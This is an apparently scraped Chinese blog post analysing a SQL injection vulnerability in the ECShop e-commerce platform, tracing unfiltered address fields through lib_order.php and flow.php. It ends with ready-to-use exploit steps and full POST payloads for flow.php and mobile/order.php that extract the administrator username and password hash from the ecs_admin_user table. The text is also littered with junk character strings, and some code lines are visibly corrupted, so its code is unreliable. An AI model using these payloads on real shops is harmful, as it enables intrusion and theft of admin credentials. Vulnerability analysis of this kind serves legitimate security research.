ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

    漏洞关键文件：

; |8 u& h' Z! ?; v" @    /includes/lib_order.php

8 k4 k, D. D( h: T9 W    关键函数：


0 V$ E, _9 F6 [: T# L" G/ s
/ l. k5 C- u, I* H6 v; ]) g01     function available_shipping_list($region_id_list)
4 F8 g& O4 \- F2 C- ~! I5 S/ i
02 {

03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
5 S0 }- _* |7 D7 ?
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
. U9 n% _; f6 N/ J3 a
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
7 x: Q' {. v( c' \
) t8 w; L$ g/ \4 t" W2 @08             'WHERE r.region_id ' . db_create_in($region_id_list) .
6 @# h* f( H' x* @' }
% Z' h" }4 ^) L5 ~$ C: T# o. W09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

4 }; Z; s6 G3 _9 g6 \3 O( e: S% D* z10   

11     return $GLOBALS['db']->getAll($sql);
5 A/ k! S( v5 ?1 z+ h
) L# \# P- T$ \) q# t12 }

显然对传入的参数没有任何过滤就带入了查询语句。

* n1 y8 _1 Z' N6 F' a下面我们追踪这个函数在flow.php中：
第531行：   
& Q$ w7 {7 v2 T. n7 G6 }& D  F' z
$ _& J! y6 j' P, d8 d: H$ f/ h1 $shipping_list     = available_shipping_list($region);


* g* ?' V* k$ O; E

, m/ h! X6 {: f
0 [, L. O2 P3 G7 d( b$ H# q再对传入变量进行追踪：

* i( e0 J- t+ b7 {第530行：   
) g" Z4 Z( |! o; {* f: B: \) T
1 e1 f' q, y/ ~' c1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);





第473行：        

, c- |- s( J" h1 $consignee = get_consignee($_SESSION['user_id']);

到了一个关键函数：

* S. C9 w8 |  b' ^" D6 r1 v/includes/lib_order.php
8 ?2 I/ D( i) U9 w

9 A. f# j( V5 ^% O1 V2 _
/ E/ k( d1 S; D8 v) h9 i; D0 s2 |

01 function get_consignee($user_id)

( l$ i6 R" X" S& L0 S: d02 {
' m. A8 x8 X! o* i1 V
9 M9 K$ Y" w5 l+ o( M0 l03     if (isset($_SESSION['flow_consignee']))
% p  L+ O- P; w+ w8 C
/ v9 k# A' S, l8 \/ G04     {
0 r" C9 Y6 k7 q& t
05         /* 如果存在session，则直接返回session中的收货人信息 */

, J6 T$ e$ u' V  Z4 W06   

07         return $_SESSION['flow_consignee'];
, F% R  Z# y9 t0 ?; L
% G8 A: P& i# {; D0 Y08     }
  A& o6 G# h' \2 X: ^
6 X* W! q6 D1 `% k8 X$ ?7 w09     else

$ C1 |& h% q' @, c10     {

; q$ V5 U' @' w/ M1 h$ ?$ T11         /* 如果不存在，则取得用户的默认收货人信息 */
! s/ Q( b7 d1 b* ^
12         $arr = array();

5 f" B( @' P* Q- M& J. ^13   

; F% O+ v  Q2 ?' p* [14         if ($user_id > 0)
! J2 k5 L0 b. p. w  B" k( m
0 ^" F+ S) }9 o, l1 Y15         {
& Q8 ?, A# Y2 _2 c9 s8 Y8 O
16             /* 取默认地址 */

17             $sql = "SELECT ua.*".

% M- L* k6 p, c/ ]3 ^18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

' Z8 R; V% E+ S9 s( t1 C: |19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

20   

2 C/ u- h  {9 @$ c) q21             $arr = $GLOBALS['db']->getRow($sql);
' L( ^, \5 q& \& ~( u
) u) Q8 @) ^. g7 T2 U# x22         }
: G8 f, j: {( y: o6 d8 u: D8 v
23   

24         return $arr;
# c0 a  W, {/ W$ k) }
25     }

26 }

显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？



& ]$ N# [" k) n2 g关键点:
7 K* e# [8 P* ~. o
1 b; i3 h0 U- s3 K第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

2 D( n% L) ^1 \& h5 k, \这里对传入参数反转义存入$_SESSION中。

5 M! g$ w% h# x* G0 ?, r+ G
8 s; h5 ^/ [7 n
' ~" c. B( v8 F3 s1 L. h9 m( Y/ L然后看下：
8 u8 o& Q) G- @/ q
0 N2 d2 N6 ~. U# a% K

' K4 j  q# s( k0 M+ Q   

$ \6 x, t" s  s' {' [5 k01 $consignee = array(

1 S0 [# M6 s. ~2 N, n% O02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
5 x* U4 R3 }' p$ l+ p
1 |- `9 r* y! s% n: n( a04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
6 ?% X3 e- ]2 d: O* d: |
1 j; z5 Y; f+ P* d07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
: m& [. f3 W# X' x/ E
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

/ s5 p  V( M- j  l09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

! C- S3 H) U1 _% h/ X9 [10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
6 L$ `/ N7 {, @5 J: Y4 ~
3 ]# \4 p/ v* x% N1 g( b11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
7 f' e  A7 M; Y; d% ]& _5 n
/ R2 c7 P% j+ B12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
; N1 p' @5 o, i- i+ g. Q
$ C7 _5 [5 L$ A+ e; L% L( U" v13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
3 E* c! K& a7 l* k+ Y( Y
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );

1 K  C. k3 D! y% M; P2 \; r8 d好了注入就这样出现了。
! s3 I. x, m9 d* f" y" v0 R
==================

) _8 R3 ]) b: v# J# w0 S9 M  ]注入测试：
% q* a, u& h+ Z4 B7 L+ H
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
$ v* d4 l. W: f+ u2 {
4 I' r# Y$ G: N: M测试程序：ECShop_V2.7.3_UTF8_release1106
8 L% {& c( G; _" i+ r% ^  k
" `8 K' }3 o5 j5 [' F
& Y' O$ z1 H' M+ y( v6 q) E
$ F9 A# _9 F6 C! y1.首先需要点击一个商品加入购物车
: d& v7 w* K& y4 K- v
" ^8 F5 C) Q3 m# a# ?' n2.注册一个会员帐号
5 a7 f- l2 S. ~3 w! G3 v
1 }% y7 c; U; d6 ^3.post提交数据
8 ?- w- P, S  o4 T
1 ?8 A9 ]$ N; w$ o) [% y- R

1 http://127.0.0.1/ecshop/flow.php

2   

3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
% N6 i# N. o# h) d% T; D举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()

在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

8 @: j% _  i. j8 h. N5 G利用exp:
9 b8 X- ]: M* e# e3 N3 L
1.点击一个商品，点击购买商标

2.登录会员帐号

3.post提交：
5 j0 m) q# o! x1 J  K+ C
http://127.0.0.1/ecshop/mobile/order.php
, v! u8 r* v6 F. s/ Y! B& ]0 F! x/ _2 u
8 M. o+ @+ _5 K' F& }& F

country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
- R6 T8 _9 [' S0 c8 I